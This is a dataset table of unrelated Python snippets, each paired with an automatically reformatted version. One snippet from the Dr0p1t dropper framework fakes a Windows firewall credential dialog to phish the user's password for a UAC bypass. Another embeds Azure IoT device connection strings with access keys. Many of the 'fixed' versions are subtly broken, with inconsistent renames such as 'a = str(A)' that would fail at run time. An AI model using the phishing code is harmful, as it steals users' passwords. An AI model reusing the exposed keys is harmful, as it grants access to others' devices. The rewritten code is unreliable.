content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
#!/usr/bin/env python3
# https://www.codechef.com/JULY18A/problems/JERRYTOM
def max_clique(g):
n = 0
for x in g: n = max(n, len(x))
l = [set() for _ in range(n + 1)]
s = [0] * len(g)
for i, x in enumerate(g):
ll = len(x)
l[ll].add(i)
s[i] = ll
m = 0
for _ in range(len... | def max_clique(g):
n = 0
for x in g:
n = max(n, len(x))
l = [set() for _ in range(n + 1)]
s = [0] * len(g)
for (i, x) in enumerate(g):
ll = len(x)
l[ll].add(i)
s[i] = ll
m = 0
for _ in range(len(g)):
for i in range(n + 1):
if len(l[i]) > 0:... |
# follow pytorch GAN-Studio, random flip is used in the dataset
_base_ = [
'../_base_/models/sngan_proj_32x32.py',
'../_base_/datasets/cifar10_nopad.py', '../_base_/default_runtime.py'
]
num_classes = 10
model = dict(
num_classes=num_classes,
generator=dict(
act_cfg=dict(type='ReLU', inplace=T... | _base_ = ['../_base_/models/sngan_proj_32x32.py', '../_base_/datasets/cifar10_nopad.py', '../_base_/default_runtime.py']
num_classes = 10
model = dict(num_classes=num_classes, generator=dict(act_cfg=dict(type='ReLU', inplace=True), num_classes=num_classes), discriminator=dict(act_cfg=dict(type='ReLU', inplace=True), nu... |
# generated from genmsg/cmake/pkg-genmsg.context.in
messages_str = "/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/IrSourceInfo.msg;/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/State.msg;/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/TimedSwitch.msg"
... | messages_str = '/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/IrSourceInfo.msg;/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/State.msg;/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/TimedSwitch.msg'
services_str = ''
pkg_name = 'wiimote'
dependencies_s... |
num1=10
num2=20
num3=300
num3=30
num4=40
| num1 = 10
num2 = 20
num3 = 300
num3 = 30
num4 = 40 |
# -*- coding: utf-8 -*-
def bytes(num):
for x in ['bytes','KB','MB','GB']:
if num < 1024.0 and num > -1024.0:
return "{0:.1f} {1}".format(num, x)
num /= 1024.0
return "{0:.1f} {1}".format(num, 'TB')
| def bytes(num):
for x in ['bytes', 'KB', 'MB', 'GB']:
if num < 1024.0 and num > -1024.0:
return '{0:.1f} {1}'.format(num, x)
num /= 1024.0
return '{0:.1f} {1}'.format(num, 'TB') |
#inputs_pdm.py
#
#Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.
#The Universal Permissive License (UPL), Version 1.0
#
#by Joe Hahn, joe.hahn@oracle.come, 11 September 2018
#input parameters used to generate mock pdm data
#turn debugging output on?
debug = True
#number of devices
N_devices = ... | debug = True
n_devices = 1000
sensor_sigma = 0.01
n_timesteps = 20000
time_start = 0
output_interval = 10
strategy = 'pdm'
pdm_threshold_time = 400
pdm_threshold_probability = 0.5
pdm_skip_time = 5
n_technicians = N_devices / 10
repair_duration = 100
maintenance_duration = repair_duration / 4
rn_seed = 17 + 1
issues = ... |
basepath = "<path to dataset>"
with open(basepath+"/**/train_bg/wav.scp") as f:
lines = f.read().strip().split('\n')
for line in tqdm.tqdm(lines):
# name, _ = line.strip().split('\t')
name = line.strip().split(' ')[0]
shutil.copy(basepath+"/audio/"+name+".flac", basepath+"/**/train_wav/"+name+".fl... | basepath = '<path to dataset>'
with open(basepath + '/**/train_bg/wav.scp') as f:
lines = f.read().strip().split('\n')
for line in tqdm.tqdm(lines):
name = line.strip().split(' ')[0]
shutil.copy(basepath + '/audio/' + name + '.flac', basepath + '/**/train_wav/' + name + '.flac')
with open(basepath + '/**/de... |
#!/usr/bin/env python
code_file = 'node_modules/terser-webpack-plugin/dist/TaskRunner.js'
bad_code = 'const cpus = _os2.default.cpus() || { length: 1 };'
good_code = 'const cpus = { length: 1 };'
new_text = None
with open(code_file) as f:
print('Reading %s' % code_file)
file_content = f.read()
if bad_co... | code_file = 'node_modules/terser-webpack-plugin/dist/TaskRunner.js'
bad_code = 'const cpus = _os2.default.cpus() || { length: 1 };'
good_code = 'const cpus = { length: 1 };'
new_text = None
with open(code_file) as f:
print('Reading %s' % code_file)
file_content = f.read()
if bad_code in file_content:
... |
A, B = map(int,input().split())
a = str(A)
b = str(B)
new_a1 = int(a[0])
new_a2 = int(a[1])
new_a3 = int(a[2])
new_a = new_a3 * 100 + new_a2 * 10 + new_a1 * 1
new_b1 = int(b[0])
new_b2 = int(b[1])
new_b3 = int(b[2])
new_b = new_b3 * 100 + new_b2 * 10 + new_b1 * 1
if new_a > new_b:
print(new_a)
else:
print(n... | (a, b) = map(int, input().split())
a = str(A)
b = str(B)
new_a1 = int(a[0])
new_a2 = int(a[1])
new_a3 = int(a[2])
new_a = new_a3 * 100 + new_a2 * 10 + new_a1 * 1
new_b1 = int(b[0])
new_b2 = int(b[1])
new_b3 = int(b[2])
new_b = new_b3 * 100 + new_b2 * 10 + new_b1 * 1
if new_a > new_b:
print(new_a)
else:
print(ne... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
class ErrorObj:
def __init__(self, code, message):
self.code = code
self.message = message
EOBJ_PARSE_ERROR = ErrorObj(-32700, 'parse error.')
EOBJ_INVALID_REQUEST = ErrorObj(-32600, 'invalid request.')
EOBJ_METHOD_NOT_FOUND = ErrorObj(-32601, 'metho... | class Errorobj:
def __init__(self, code, message):
self.code = code
self.message = message
eobj_parse_error = error_obj(-32700, 'parse error.')
eobj_invalid_request = error_obj(-32600, 'invalid request.')
eobj_method_not_found = error_obj(-32601, 'method not found.')
eobj_invalid_params = error_obj... |
# The interval between temperature readings in seconds
READINGS_INTERVAL = 600
DATA_PIN = 3
SCX_PIN = 2
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
LAST_MEASUREMENT_KEY = 'last_measurement'
LAST_MEASUREMENT_KEY_TEMPLATE = 'measurement_{}'
TIME_KEY = 'time'
TEMPERATURE_KEY = 'temperature'
HUMIDITY_KEY = 'humidity'
PREV_... | readings_interval = 600
data_pin = 3
scx_pin = 2
redis_host = 'localhost'
redis_port = 6379
last_measurement_key = 'last_measurement'
last_measurement_key_template = 'measurement_{}'
time_key = 'time'
temperature_key = 'temperature'
humidity_key = 'humidity'
prev_key = 'prev'
measurement_expire_hours = 48
num_of_readin... |
mistring = 'Curso de python3'
print(mistring [0:10])
palabra ="hola"
print (len(palabra))
| mistring = 'Curso de python3'
print(mistring[0:10])
palabra = 'hola'
print(len(palabra)) |
def Insertion_Sort(alist):
'''
Sorting alist via Insertion Sort
'''
for index in range(1, len(alist)):
currentValue = alist[index]
position = index
while position > 0 and alist[position-1] > currentValue:
alist[position] = alist[position-1]
position = posi... | def insertion__sort(alist):
"""
Sorting alist via Insertion Sort
"""
for index in range(1, len(alist)):
current_value = alist[index]
position = index
while position > 0 and alist[position - 1] > currentValue:
alist[position] = alist[position - 1]
position ... |
class ConnectGame:
def __init__(self, board):
self.board = board.replace(' ', '').split('\n')
def get_winner(self):
print(self.board)
visited = set()
to_visit = []
directions = [(-1, 0), (0, -1), (1, -1),
(1, 0), (0, 1), (-1, 1)]
... | class Connectgame:
def __init__(self, board):
self.board = board.replace(' ', '').split('\n')
def get_winner(self):
print(self.board)
visited = set()
to_visit = []
directions = [(-1, 0), (0, -1), (1, -1), (1, 0), (0, 1), (-1, 1)]
for y in range(len(self.board)):... |
load("//:import_external.bzl", import_external = "safe_wix_scala_maven_import_external")
def dependencies():
import_external(
name = "javax_servlet_javax_servlet_api",
artifact = "javax.servlet:javax.servlet-api:3.1.0",
jar_sha256 = "af456b2dd41c4e82cf54f3e743bc678973d9fe35bd4d3071fa05c7e5333b8482... | load('//:import_external.bzl', import_external='safe_wix_scala_maven_import_external')
def dependencies():
import_external(name='javax_servlet_javax_servlet_api', artifact='javax.servlet:javax.servlet-api:3.1.0', jar_sha256='af456b2dd41c4e82cf54f3e743bc678973d9fe35bd4d3071fa05c7e5333b8482', srcjar_sha256='5c6d640f... |
primes = {2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31}
def is_prime(n):
if n in primes:
return True
else:
if n == 1:
return False
i = 2
while i*i <= n:
if n % i == 0:
return False
i += 1
primes.add(n)
return True
for _ in range(int(input())):
N = int(input())
if is_prime(N):
print(N, N)
e... | primes = {2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31}
def is_prime(n):
if n in primes:
return True
else:
if n == 1:
return False
i = 2
while i * i <= n:
if n % i == 0:
return False
i += 1
primes.add(n)
return True
f... |
class NaryConfig:
def __init__(
self,
embedding_size=300,
hidden_size=150,
vocab_size=10000,
hidden_dropout_prob=0.,
cell_type='lstm',
use_attention=False,
use_bert=False,
tune_bert=False,
normalize_bert_embeddings=False,
xav... | class Naryconfig:
def __init__(self, embedding_size=300, hidden_size=150, vocab_size=10000, hidden_dropout_prob=0.0, cell_type='lstm', use_attention=False, use_bert=False, tune_bert=False, normalize_bert_embeddings=False, xavier_init=True, N=2, **kwargs):
super().__init__(**kwargs)
self.vocab_size ... |
class Foo:
num1 : int
num2 : int
foo1 = Foo()
id_foo1_before = id(foo1)
foo1.num1 = 1
id_foo1_after = id(foo1)
if id_foo1_before == id_foo1_after:
print('Foo is immutable')
else:
print('Foo is mutable')
| class Foo:
num1: int
num2: int
foo1 = foo()
id_foo1_before = id(foo1)
foo1.num1 = 1
id_foo1_after = id(foo1)
if id_foo1_before == id_foo1_after:
print('Foo is immutable')
else:
print('Foo is mutable') |
def cadicao(n1,n2):
return n1 + n2
def csubtracao (n1,n2):
return n1 - n2
def cdivisao (n1,n2):
return n1 / n2
def cdivisaoint (n1,n2):
return n1 // n2
def cmultiplicacao (n1,n2):
return n1 * n2
def cpotenciacao(n1,n2):
return n1 ** n2
def craiz (n1,n2):
return n1 ** (1/n2)
def c... | def cadicao(n1, n2):
return n1 + n2
def csubtracao(n1, n2):
return n1 - n2
def cdivisao(n1, n2):
return n1 / n2
def cdivisaoint(n1, n2):
return n1 // n2
def cmultiplicacao(n1, n2):
return n1 * n2
def cpotenciacao(n1, n2):
return n1 ** n2
def craiz(n1, n2):
return n1 ** (1 / n2)
def cr... |
def main():
print('Please enter x as base and exp as exponent.')
try:
while 1:
x = float(input('x = '))
exp = int(input('exp = '))
print("%.3f to the power %d is %.5f\n" % (x,exp,x ** exp))
print("Please enter next pair or q to quit.")
except:print('Ho... | def main():
print('Please enter x as base and exp as exponent.')
try:
while 1:
x = float(input('x = '))
exp = int(input('exp = '))
print('%.3f to the power %d is %.5f\n' % (x, exp, x ** exp))
print('Please enter next pair or q to quit.')
except:
... |
def define_targets(rules):
rules.cc_library(
name = "TypeCast",
srcs = ["TypeCast.cpp"],
hdrs = ["TypeCast.h"],
linkstatic = True,
local_defines = ["C10_BUILD_MAIN_LIB"],
visibility = ["//visibility:public"],
deps = [
":base",
"//c10/co... | def define_targets(rules):
rules.cc_library(name='TypeCast', srcs=['TypeCast.cpp'], hdrs=['TypeCast.h'], linkstatic=True, local_defines=['C10_BUILD_MAIN_LIB'], visibility=['//visibility:public'], deps=[':base', '//c10/core:ScalarType', '//c10/macros'])
rules.cc_library(name='base', srcs=rules.glob(['*.cpp'], ex... |
v = input("digite um valor em dias: ")
a = int(int(v)/365)
m = int((int(v)%365)/30)
d = int((int(v)%365)%30)
print(str(a)+" ano(s)")
print(str(m)+" mes(es)")
print(str(d)+" dias(s)")
| v = input('digite um valor em dias: ')
a = int(int(v) / 365)
m = int(int(v) % 365 / 30)
d = int(int(v) % 365 % 30)
print(str(a) + ' ano(s)')
print(str(m) + ' mes(es)')
print(str(d) + ' dias(s)') |
class Solution:
def threeSumClosest(self, nums: List[int], target: int) -> int:
nums.sort()
opt = float("inf")
for i in range(len(nums)):
# Fix one integer
fixed = nums[i]
newTarget = target-fixed
l,r = i+1, len(nums)-1
while(l<r):
... | class Solution:
def three_sum_closest(self, nums: List[int], target: int) -> int:
nums.sort()
opt = float('inf')
for i in range(len(nums)):
fixed = nums[i]
new_target = target - fixed
(l, r) = (i + 1, len(nums) - 1)
while l < r:
... |
class MetricUnitError(Exception):
pass
class SchemaValidationError(Exception):
pass
class MetricValueError(Exception):
pass
class UniqueNamespaceError(Exception):
pass
| class Metricuniterror(Exception):
pass
class Schemavalidationerror(Exception):
pass
class Metricvalueerror(Exception):
pass
class Uniquenamespaceerror(Exception):
pass |
# is_lower_case
#
# Checks if a string is lower case.
#
# Convert the given string to lower case, using str.lower() method and compare it to the original.
def is_lower_case(string):
return string == string.lower()
is_lower_case('abc') # True
is_lower_case('a3@$') # True
is_lower_case('Ab4') # False
| def is_lower_case(string):
return string == string.lower()
is_lower_case('abc')
is_lower_case('a3@$')
is_lower_case('Ab4') |
# Class Variable
class Employee:
no_of_emp = 0
raise_amount = 1.04
def __init__(self, first, last, pay):
self.first = first
self.last = last
self.pay = pay
self.email = first + "." + last + "@gmail.com"
Employee.no_of_emp += 1
def apply_raise(self):
s... | class Employee:
no_of_emp = 0
raise_amount = 1.04
def __init__(self, first, last, pay):
self.first = first
self.last = last
self.pay = pay
self.email = first + '.' + last + '@gmail.com'
Employee.no_of_emp += 1
def apply_raise(self):
self.pay = int(self.p... |
#Written by: Karim shoair - D4Vinci ( Dr0p1t-Framework )
#In this script I store some SE tricks to use ;)
#Start
#Get the user password by fooling him and then uses it to run commands as the user by psexec to bypass UAC
def ask_pwd():
while True:
cmd = '''Powershell "$cred=$host.ui.promptforcredential('Windows fire... | def ask_pwd():
while True:
cmd = 'Powershell "$cred=$host.ui.promptforcredential(\'Windows firewall permission\',\'\',[Environment]::UserName,[Environment]::UserDomainName); echo $cred.getnetworkcredential().password;"'
response = get_output(cmd)
if response.strip() != '' and (not response.s... |
main = {
'General': {
'Prop': {
'Labels': 'rw',
'AlarmStatus': 'r-'
}
}
}
cfgm = {
'Logicalport': {
'Cmd': (
'Create',
'Delete'
)
}
} | main = {'General': {'Prop': {'Labels': 'rw', 'AlarmStatus': 'r-'}}}
cfgm = {'Logicalport': {'Cmd': ('Create', 'Delete')}} |
model = dict(
type='MonoRUnDetector',
pretrained='torchvision://resnet101',
backbone=dict(
type='ResNet',
depth=101,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
norm_eval=True,
style='p... | model = dict(type='MonoRUnDetector', pretrained='torchvision://resnet101', backbone=dict(type='ResNet', depth=101, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, norm_cfg=dict(type='BN', requires_grad=True), norm_eval=True, style='pytorch'), neck=dict(type='FPNplus', in_channels=[256, 512, 1024, 2048], out_ch... |
#!/usr/bin/env python3
class Test:
@classmethod
def assert_equals(cls, func_out, expected_out):
assert func_out == expected_out, f"The function out '{func_out}' != '{expected_out}'"
| class Test:
@classmethod
def assert_equals(cls, func_out, expected_out):
assert func_out == expected_out, f"The function out '{func_out}' != '{expected_out}'" |
def max(a, b):
if a > b:
return a
elif b > a:
return b
else:
return 'a = b'
print(max(123,445))
| def max(a, b):
if a > b:
return a
elif b > a:
return b
else:
return 'a = b'
print(max(123, 445)) |
kernel = [1,0,1] # averaging of neighbors #kernel = np.exp(-np.linspace(-2,2,5)**2) ## Gaussian
kernel /= np.sum(kernel) # normalize
smooth = np.convolve(y, kernel, mode='same') # find the average value of neighbors
rms_noise = np.average((y[1:]-y[:-1])**2)**.5 # estimate what the average no... | kernel = [1, 0, 1]
kernel /= np.sum(kernel)
smooth = np.convolve(y, kernel, mode='same')
rms_noise = np.average((y[1:] - y[:-1]) ** 2) ** 0.5
where_not_excess = np.abs(y - smooth) < rms_noise * 3
(x, y) = (x[where_not_excess], y[where_not_excess]) |
def boolean_true():
return value # Change the varable named value to the correct answer
print(boolean_true())
| def boolean_true():
return value
print(boolean_true()) |
iot_devices = {
"cl01": "HostName=znetinnn12ioth01.azure-devices.net;DeviceId=cl01;SharedAccessKey=C3lI2jbo0DVgPtUqMjg7BYxXpBRvGsvXCCP/33zRK34=", # Cristian's Device
"js01": "HostName=znetinnn12ioth01.azure-devices.net;DeviceId=js01;SharedAccessKey=9g4Qmbfoi/WZPNTA3HqePqrCjYd1mtj15CKu8hMow9Y=", # John's Devic... | iot_devices = {'cl01': 'HostName=znetinnn12ioth01.azure-devices.net;DeviceId=cl01;SharedAccessKey=C3lI2jbo0DVgPtUqMjg7BYxXpBRvGsvXCCP/33zRK34=', 'js01': 'HostName=znetinnn12ioth01.azure-devices.net;DeviceId=js01;SharedAccessKey=9g4Qmbfoi/WZPNTA3HqePqrCjYd1mtj15CKu8hMow9Y=', 'rd01': 'HostName=znetinnn12ioth01.azure-devi... |
__title__ = 'fobi.contrib.plugins.form_elements.fields.input.constants'
__author__ = 'Artur Barseghyan <artur.barseghyan@gmail.com>'
__copyright__ = '2014-2017 Artur Barseghyan'
__license__ = 'GPL 2.0/LGPL 2.1'
__all__ = (
'FORM_FIELD_TYPE_CHOICES', 'FIELD_TYPE_TO_DJANGO_FORM_FIELD_MAPPING',
'FIELD_TYPE_TO_DJAN... | __title__ = 'fobi.contrib.plugins.form_elements.fields.input.constants'
__author__ = 'Artur Barseghyan <artur.barseghyan@gmail.com>'
__copyright__ = '2014-2017 Artur Barseghyan'
__license__ = 'GPL 2.0/LGPL 2.1'
__all__ = ('FORM_FIELD_TYPE_CHOICES', 'FIELD_TYPE_TO_DJANGO_FORM_FIELD_MAPPING', 'FIELD_TYPE_TO_DJANGO_FORM_W... |
t = int(input())
ans = []
for testcase in range(t):
n, m = [int(i) for i in input().split()]
if (n == 2) and (m == 2):
folds = []
for i in range(n):
folds += [int(i) for i in input().split()]
for i in range(n - 1):
folds += [int(i) for i in input().split()]
... | t = int(input())
ans = []
for testcase in range(t):
(n, m) = [int(i) for i in input().split()]
if n == 2 and m == 2:
folds = []
for i in range(n):
folds += [int(i) for i in input().split()]
for i in range(n - 1):
folds += [int(i) for i in input().split()]
... |
#This is ACSL 2018 ALl-Star Problem. This code is written by Robin Gan. And it is incompleted.
#more info check out acsl.org
#probelm name=Compressed_Tree
def main():
global orgSet
global editSet
global targetWord
global answerStr
answerStr=""
ipl=input()
useWord=ipl[0:len(ipl)-1... | def main():
global orgSet
global editSet
global targetWord
global answerStr
answer_str = ''
ipl = input()
use_word = ipl[0:len(ipl) - 1]
target_word = ipl[len(ipl) - 1]
org_set = []
edit_set = []
for char in useWord:
orgSet.append(char)
editSet.append(char)
d... |
class StartAppReportObject:
def __init__(self, result):
self.data = result["data"]
def __eq__(self, other):
if type(other) != type(self):
return False
if self.data == other.data:
return True
return False | class Startappreportobject:
def __init__(self, result):
self.data = result['data']
def __eq__(self, other):
if type(other) != type(self):
return False
if self.data == other.data:
return True
return False |
string_to_revers = input()
for x in string_to_revers[::-1]:
print(x, end='')
| string_to_revers = input()
for x in string_to_revers[::-1]:
print(x, end='') |
## Mel-filterbank
mel_window_length = 50 # In milliseconds 25
mel_window_step = 10 # In milliseconds 10
mel_n_channels = 40
## Audio
sampling_rate = 16000
# Number of spectrogram frames in a partial utterance
partials_n_frames = 160 # 1600 ms
# Number of spectrogram frames at inference
inference_n... | mel_window_length = 50
mel_window_step = 10
mel_n_channels = 40
sampling_rate = 16000
partials_n_frames = 160
inference_n_frames = 80
vad_window_length = 30
vad_moving_average_width = 8
vad_max_silence_length = 6
audio_norm_target_d_bfs = -30 |
src = Split('''
base64.c
''')
component = aos_component('base64', src) | src = split('\n base64.c\n')
component = aos_component('base64', src) |
jogador = {}
gols = []
soma = 0
nome = input('Digite o nome do jogador: ')
partidas = int(input(f'Quantas partidas o {nome} jogou: '))
for i in range(0, partidas):
gol = int(input(f'Digite quantos gols na {i}: '))
soma += gol
gols.append(gol)
jogador['Nome'] = nome
jogador['Partidas'] = partidas
jogador['Go... | jogador = {}
gols = []
soma = 0
nome = input('Digite o nome do jogador: ')
partidas = int(input(f'Quantas partidas o {nome} jogou: '))
for i in range(0, partidas):
gol = int(input(f'Digite quantos gols na {i}: '))
soma += gol
gols.append(gol)
jogador['Nome'] = nome
jogador['Partidas'] = partidas
jogador['Go... |
def _revisions(revs, is_dirty):
revisions = revs or []
if len(revisions) <= 1:
if len(revisions) == 0 and is_dirty:
revisions.append("HEAD")
revisions.append("working tree")
return revisions
def diff(repo, *args, revs=None, **kwargs):
return repo.plots.show(
*args, ... | def _revisions(revs, is_dirty):
revisions = revs or []
if len(revisions) <= 1:
if len(revisions) == 0 and is_dirty:
revisions.append('HEAD')
revisions.append('working tree')
return revisions
def diff(repo, *args, revs=None, **kwargs):
return repo.plots.show(*args, revs=_revi... |
cities = [
'Santa Cruz de la Sierra',
'Cochabamba',
'La Paz',
'Sucre',
'Oruro',
'Tarija',
'Potosi',
'Sacaba',
'Montero',
'Quillacollo',
'Trinidad',
'Yacuiba',
'Riberalta',
'Tiquipaya',
'Guayaramerin',
'Bermejo',
'Mizque',
'Villazon',
'Llallagua... | cities = ['Santa Cruz de la Sierra', 'Cochabamba', 'La Paz', 'Sucre', 'Oruro', 'Tarija', 'Potosi', 'Sacaba', 'Montero', 'Quillacollo', 'Trinidad', 'Yacuiba', 'Riberalta', 'Tiquipaya', 'Guayaramerin', 'Bermejo', 'Mizque', 'Villazon', 'Llallagua', 'Camiri', 'Cobija', 'San Borja', 'San Ignacio de Velasco', 'Tupiza', 'Warn... |
while(True):
try:
n = int(input())
if(n==2002):
print("Acesso Permitido")
break
else:
print("Senha Invalida")
except EOFError:
break | while True:
try:
n = int(input())
if n == 2002:
print('Acesso Permitido')
break
else:
print('Senha Invalida')
except EOFError:
break |
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
def __repr__(self):
return f'Person(name={self.name}, age={self.age}'
def __eq__(self, other):
if isinstance(other, Person):
return self.name == other.name and self.age == other.age
... | class Person:
def __init__(self, name, age):
self.name = name
self.age = age
def __repr__(self):
return f'Person(name={self.name}, age={self.age}'
def __eq__(self, other):
if isinstance(other, Person):
return self.name == other.name and self.age == other.age
... |
# Author : Salim Suprayogi
# Ref : freeCodeCamp.org ( youtube )
def translate(phrase):
"mengganti huruf tertentu"
translation = ""
# loop
for letter in phrase:
# cek apakah ada huruf AEIOUaeiou
# jika ada ganti dengan huruf "g"
if letter.lower() in "aeiou":
... | def translate(phrase):
"""mengganti huruf tertentu"""
translation = ''
for letter in phrase:
if letter.lower() in 'aeiou':
if letter.isupper():
translation = translation + 'G'
else:
translation = translation + 'g'
else:
tran... |
# -*- coding: utf-8 -*-
'''
File name: code\prime_subset_sums\sol_249.py
Author: Vaidic Joshi
Date created: Oct 20, 2018
Python Version: 3.x
'''
# Solution to Project Euler Problem #249 :: Prime Subset Sums
#
# For more information see:
# https://projecteuler.net/problem=249
# Problem Statement
'''... | """
File name: code\\prime_subset_sums\\sol_249.py
Author: Vaidic Joshi
Date created: Oct 20, 2018
Python Version: 3.x
"""
'\nLet S = {2, 3, 5, ..., 4999} be the set of prime numbers less than 5000.\nFind the number of subsets of S, the sum of whose elements is a prime number.\nEnter the rightmost 16 di... |
#!/bin/python3
DIRECTIONS = {
'n': (0, -1),
's': (0, 1),
'e': (1, 0),
'w': (-1, 0),
}
def get_route(preferred_direction):
x_pos, y_pos = preferred_direction
return [
preferred_direction,
(y_pos, x_pos),
(-y_pos, -x_pos),
(-x_pos, -y_pos)
]
class Boar... | directions = {'n': (0, -1), 's': (0, 1), 'e': (1, 0), 'w': (-1, 0)}
def get_route(preferred_direction):
(x_pos, y_pos) = preferred_direction
return [preferred_direction, (y_pos, x_pos), (-y_pos, -x_pos), (-x_pos, -y_pos)]
class Board(object):
def __init__(self, size):
self._array = [[0] * size fo... |
class FriendshipsStorage(object):
def __init__(self):
self.friendships = []
def add(self, note):
pass
def clear(self):
pass
def get_friends_of(self, name):
pass
| class Friendshipsstorage(object):
def __init__(self):
self.friendships = []
def add(self, note):
pass
def clear(self):
pass
def get_friends_of(self, name):
pass |
class Solution:
def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
anagrams = {}
for i in range(len(strs)):
x= ''.join(sorted(strs[i]))
if x not in anagrams:
anagrams[x]=[strs[i]]
else:
anagrams[x].append(strs[i])
... | class Solution:
def group_anagrams(self, strs: List[str]) -> List[List[str]]:
anagrams = {}
for i in range(len(strs)):
x = ''.join(sorted(strs[i]))
if x not in anagrams:
anagrams[x] = [strs[i]]
else:
anagrams[x].append(strs[i])
... |
# 350111
# a3_p10.py
# Irakli Mtvarelishvili
# i.mtvarelisvhili@jacobs-university.de
n = int(input("Please enter the length of rectangle: "))
m = int(input("Please enter the width of rectangle: "))
c = chr(ord(input("Please enter a character: ")))
def print_rectangle(n, m, c):
for i in range(m) :
... | n = int(input('Please enter the length of rectangle: '))
m = int(input('Please enter the width of rectangle: '))
c = chr(ord(input('Please enter a character: ')))
def print_rectangle(n, m, c):
for i in range(m):
for j in range(n):
if i == 0 or i == m - 1:
print(c, end='')
... |
# yacctab.py
# This file is automatically generated. Do not edit.
_tabversion = '3.10'
_lr_method = 'LALR'
_lr_signature = 'translation_unit_or_emptyleftLORleftLANDleftORleftXORleftANDleftEQNEleftGTGELTLEleftRSHIFTLSHIFTleftPLUSMINUSleftTIMESDIVIDEMOD_BOOL _COMPLEX AUTO BREAK CASE CHAR CONST CONTINUE DEFAULT DO DOUB... | _tabversion = '3.10'
_lr_method = 'LALR'
_lr_signature = 'translation_unit_or_emptyleftLORleftLANDleftORleftXORleftANDleftEQNEleftGTGELTLEleftRSHIFTLSHIFTleftPLUSMINUSleftTIMESDIVIDEMOD_BOOL _COMPLEX AUTO BREAK CASE CHAR CONST CONTINUE DEFAULT DO DOUBLE ELSE ENUM EXTERN FLOAT FOR GOTO IF INLINE INT LONG REGISTER OFFSET... |
'''
write a procedure, called how_many, which returns the sum of the number of values associated with a dictionary
'''
def how_many(aDict):
'''
aDict: A dictionary, where all the values are lists.
returns: int, how many values are in the dictionary.
'''
values = 0
for i in aDict:
values... | """
write a procedure, called how_many, which returns the sum of the number of values associated with a dictionary
"""
def how_many(aDict):
"""
aDict: A dictionary, where all the values are lists.
returns: int, how many values are in the dictionary.
"""
values = 0
for i in aDict:
value... |
debian_os = ['debian', 'ubuntu']
rhel_os = ['redhat', 'centos']
def test_repo_file(host):
f = None
if host.system_info.distribution.lower() in debian_os:
f = host.file('/etc/apt/sources.list.d/powerdns-rec-42.list')
if host.system_info.distribution.lower() in rhel_os:
f = host.file('/etc/... | debian_os = ['debian', 'ubuntu']
rhel_os = ['redhat', 'centos']
def test_repo_file(host):
f = None
if host.system_info.distribution.lower() in debian_os:
f = host.file('/etc/apt/sources.list.d/powerdns-rec-42.list')
if host.system_info.distribution.lower() in rhel_os:
f = host.file('/etc/yu... |
class Empty(object):
def __bool__(self):
return False
def __nonzero__(self):
return False
empty = Empty()
| class Empty(object):
def __bool__(self):
return False
def __nonzero__(self):
return False
empty = empty() |
# Network parameters
IMAGE_WIDTH = 84
IMAGE_HEIGHT = 84
NUM_CHANNELS = 4 # dqn inputs 4 image at same time as state
| image_width = 84
image_height = 84
num_channels = 4 |
def parse_input(raw_input):
return [
# strip multiline strings when testing
[line.strip() for line in group.split('\n')]
for group in raw_input.split('\n\n')
]
with open('inputs/input6.txt') as file:
input6 = parse_input(file.read())
def count_any_yeses(groups):
return sum(
... | def parse_input(raw_input):
return [[line.strip() for line in group.split('\n')] for group in raw_input.split('\n\n')]
with open('inputs/input6.txt') as file:
input6 = parse_input(file.read())
def count_any_yeses(groups):
return sum((len(set(''.join(g))) for g in groups))
def count_every_yeses(groups):
... |
game_name = input("The name of the game:")
num_timesteps = input("The num of timesteps:")
total_gpu_num = 3
gpu_use_index = 0
print('conda activate openaivezen; cd baselines; ' +
'CUDA_VISIBLE_DEVICES={} '.format(gpu_use_index) +
'python -m baselines.run --alg=deepq ' +
'--env={}NoFrameskip-v4 --num... | game_name = input('The name of the game:')
num_timesteps = input('The num of timesteps:')
total_gpu_num = 3
gpu_use_index = 0
print('conda activate openaivezen; cd baselines; ' + 'CUDA_VISIBLE_DEVICES={} '.format(gpu_use_index) + 'python -m baselines.run --alg=deepq ' + '--env={}NoFrameskip-v4 --num_timesteps={} '.form... |
print(" Calculator \n")
print(" ")
num1 = float(input("Please enter your first number: "))
op = input("Please enter your o... | print(' Calculator \n')
print(' ')
num1 = float(input('Please enter your first number: '))
op = input('Please enter your operat... |
class PrimesBelow:
def __init__(self, bound):
self.candidate_numbers = list(range(2,bound))
def __iter__(self):
return self
def __next__(self):
if len(self.candidate_numbers) == 0:
raise StopIteration
next_prime = self.candidate_numbers... | class Primesbelow:
def __init__(self, bound):
self.candidate_numbers = list(range(2, bound))
def __iter__(self):
return self
def __next__(self):
if len(self.candidate_numbers) == 0:
raise StopIteration
next_prime = self.candidate_numbers[0]
self.candida... |
# -*- coding: utf-8 -*-
def Mag_V_L(I, RL, Ro, w, C):
return I * (1/(1/RL + 1/Ro)) / (1 + (w * (1/(1/RL + 1/Ro)) * C)**2)**.5
def Mag_I_L(I, RL, Ro, w, C):
I_L = 1 / RL * I / (1 / Ro + 1 / RL + 1j * w * C)
return abs(I_L)
def Z_o_from_VLa_VLb(RLa, RLb, VLa, VLb):
Z_o = (RLa * RLb * (VLb - VLa)) / (VLa * RL... | def mag_v_l(I, RL, Ro, w, C):
return I * (1 / (1 / RL + 1 / Ro)) / (1 + (w * (1 / (1 / RL + 1 / Ro)) * C) ** 2) ** 0.5
def mag_i_l(I, RL, Ro, w, C):
i_l = 1 / RL * I / (1 / Ro + 1 / RL + 1j * w * C)
return abs(I_L)
def z_o_from_v_la_v_lb(RLa, RLb, VLa, VLb):
z_o = RLa * RLb * (VLb - VLa) / (VLa * RLb ... |
# Sage version information for Python scripts
